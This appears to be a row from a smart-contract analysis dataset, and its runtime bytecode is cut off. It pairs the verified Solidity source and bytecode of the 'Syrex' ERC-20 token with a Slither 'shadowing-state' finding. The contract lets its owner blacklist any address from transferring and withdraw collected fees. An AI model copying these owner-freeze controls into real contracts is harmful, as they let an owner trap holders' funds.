0182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122024e785f1ab2722d5cff3e4274b1dd3ca0a9b5d157790c214f2e0099e4a9463b764736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 9,916 |
0x327d71fd153cbc1cfdeb2d7ff50f2b72cb2c611f | /**
*Submitted for verification at Etherscan.io on 2021-12-09
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract SYREX is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e8 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Syrex";
string private constant _symbol = "SRX";
uint private constant _decimals = 9;
uint256 private _teamFee = 10;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(5).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(5).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external onlyOwner() {
_noTaxMode = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 10, "Team fee cannot be larger than 10%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061016a5760003560e01c806370a08231116100d1578063b515566a1161008a578063cf9d4afa11610064578063cf9d4afa1461050d578063dd62ed3e14610536578063e6ec64ec14610573578063f2fde38b1461059c57610171565b8063b515566a146104a4578063c9567bf9146104cd578063cf0848f7146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806390d49b9d1461041357806395d89b411461043c578063a9059cbb1461046757610171565b806331c2d8471161012357806331c2d847146102885780633bbac579146102b1578063437823ec146102ee578063476343ee146103175780634b740b161461032e5780635342acb41461035757610171565b806306d8ea6b1461017657806306fdde031461018d578063095ea7b3146101b857806318160ddd146101f557806323b872dd14610220578063313ce5671461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105c5565b005b34801561019957600080fd5b506101a261065a565b6040516101af9190612a2f565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190612af9565b610697565b6040516101ec9190612b54565b60405180910390f35b34801561020157600080fd5b5061020a6106b5565b6040516102179190612b7e565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612b99565b6106c5565b6040516102549190612b54565b60405180910390f35b34801561026957600080fd5b5061027261079e565b60405161027f9190612b7e565b60405180910390f35b34801561029457600080fd5b506102af60048036038101906102aa9190612d34565b6107a7565b005b3480156102bd57600080fd5b506102d860048036038101906102d39190612d7d565b6108b8565b6040516102e59190612b54565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612de8565b61090e565b005b34801561032357600080fd5b5061032c6109e5565b005b34801561033a57600080fd5b5061035560048036038101906103509190612e41565b610ad2565b005b34801561036357600080fd5b5061037e60048036038101906103799190612d7d565b610b6b565b60405161038b9190612b54565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b69190612d7d565b610bc1565b6040516103c89190612b7e565b60405180910390f35b3480156103dd57600080fd5b506103e6610c12565b005b3480156103f457600080fd5b506103fd610c9a565b60405161040a9190612e7d565b60405180910390f35b34801561041f57600080fd5b5061043a60048036038101906104359190612de8565b610cc3565b005b34801561044857600080fd5b50610451610e77565b60405161045e9190612a2f565b60405180910390f35b34801561047357600080fd5b5061048e60048036038101906104899190612af9565b610eb4565b60405161049b9190612b54565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c69190612d34565b610ed2565b005b3480156104d957600080fd5b506104e26110c9565b005b3480156104f057600080fd5b5061050b60048036038101906105069190612de8565b6111b8565b005b34801561051957600080fd5b50610534600480360381019061052f9190612de8565b61128f565b005b34801561054257600080fd5b5061055d60048036038101906105589190612e98565b611629565b60405161056a9190612b7e565b60405180910390f35b34801561057f57600080fd5b5061059a60048036038101906105959190612ed8565b6116b0565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612d7d565b61177a565b005b6105cd611872565b73ffffffffffffffffffffffffffffffffffffffff166105eb610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890612f51565b60405180910390fd5b600061064c30610bc1565b90506106578161187a565b50565b60606040518060400160405280600581526020017f5379726578000000000000000000000000000000000000000000000000000000815250905090565b60006106ab6106a4611872565b8484611af3565b6001905092915050565b600067016345785d8a0000905090565b60006106d2848484611cbe565b610793846106de611872565b61078e85604051806060016040528060288152602001613afb60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610744611872565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ea9092919063ffffffff16565b611af3565b600190509392505050565b60006009905090565b6107af611872565b73ffffffffffffffffffffffffffffffffffffffff166107cd610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90612f51565b60405180910390fd5b60005b81518110156108b45760006005600084848151811061084857610847612f71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108ac90612fcf565b915050610826565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610916611872565b73ffffffffffffffffffffffffffffffffffffffff16610934610c9a565b73ffffffffffffffffffffffffffffffffffffffff161461098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190612f51565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6109ed611872565b73ffffffffffffffffffffffffffffffffffffffff16610a0b610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5890612f51565b60405180910390fd5b6000479050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610ace573d6000803e3d6000fd5b5050565b610ada611872565b73ffffffffffffffffffffffffffffffffffffffff16610af8610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590612f51565b60405180910390fd5b80600c60156101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610c0b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461224e565b9050919050565b610c1a611872565b73ffffffffffffffffffffffffffffffffffffffff16610c38610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8590612f51565b60405180910390fd5b610c9860006122bc565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ccb611872565b73ffffffffffffffffffffffffffffffffffffffff16610ce9610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690612f51565b60405180910390fd5b600060046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600381526020017f5352580000000000000000000000000000000000000000000000000000000000815250905090565b6000610ec8610ec1611872565b8484611cbe565b6001905092915050565b610eda611872565b73ffffffffffffffffffffffffffffffffffffffff16610ef8610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614610f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4590612f51565b60405180910390fd5b60005b81518110156110c557600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fa657610fa5612f71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561103a5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061101957611018612f71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110b25760016005600084848151811061105857611057612f71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110bd90612fcf565b915050610f51565b5050565b6110d1611872565b73ffffffffffffffffffffffffffffffffffffffff166110ef610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614611145576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113c90612f51565b60405180910390fd5b600c60149054906101000a900460ff16611194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118b9061308a565b60405180910390fd5b6001600c60176101000a81548160ff02191690831515021790555042600d81905550565b6111c0611872565b73ffffffffffffffffffffffffffffffffffffffff166111de610c9a565b73ffffffffffffffffffffffffffffffffffffffff1614611234576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122b90612f51565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611297611872565b73ffffffffffffffffffffffffffffffffffffffff166112b5610c9a565b73ffffffffffffffffffffffffffffffffffffffff161461130b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130290612f51565b60405180910390fd5b600c60149054906101000a900460ff161561135b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113529061311c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e39190613151565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561144a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146e9190613151565b6040518363ffffffff1660e01b815260040161148b92919061317e565b6020604051808303816000875af11580156114aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ce9190613151565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6116b8611872565b73ffffffffffffffffffffffffffffffffffffffff166116d6610c9a565b73ffffffffffffffffffffffffffffffffffffffff161461172c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172390612f51565b60405180910390fd5b600a811115611770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176790613219565b60405180910390fd5b8060088190555050565b611782611872565b73ffffffffffffffffffffffffffffffffffffffff166117a0610c9a565b73ffffffffffffffffffffffffffffffffffffffff16146117f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ed90612f51565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185d906132ab565b60405180910390fd5b61186f816122bc565b50565b600033905090565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118b2576118b1612bf1565b5b6040519080825280602002602001820160405280156118e05781602001602082028036833780820191505090505b50905030816000815181106118f8576118f7612f71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561199f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c39190613151565b816001815181106119d7576119d6612f71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a3e30600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611af3565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611aa29594939291906133ce565b600060405180830381600087803b158015611abc57600080fd5b505af1158015611ad0573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a9061349a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bca9061352c565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611cb19190612b7e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d25906135be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9590613650565b60405180910390fd5b60008111611de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd8906136e2565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e659061379a565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f145750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f2d5750600c60159054906101000a900460ff16155b8015611fde5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611fdd5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b156121d857600c60179054906101000a900460ff16612032576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202990613806565b60405180910390fd5b60019050600d54421415612099576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60006120a430610bc1565b9050600c60169054906101000a900460ff161580156121115750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156121d65760008111156121d55761217060646121626005612154600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc1565b61238090919063ffffffff16565b6123fb90919063ffffffff16565b8111156121cb576121c860646121ba60056121ac600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610bc1565b61238090919063ffffffff16565b6123fb90919063ffffffff16565b90505b6121d48161187a565b5b5b505b6121e484848484612445565b50505050565b6000838311158290612232576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122299190612a2f565b60405180910390fd5b50600083856122419190613826565b9050809150509392505050565b6000600654821115612295576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228c906138cc565b60405180910390fd5b600061229f61261c565b90506122b481846123fb90919063ffffffff16565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffff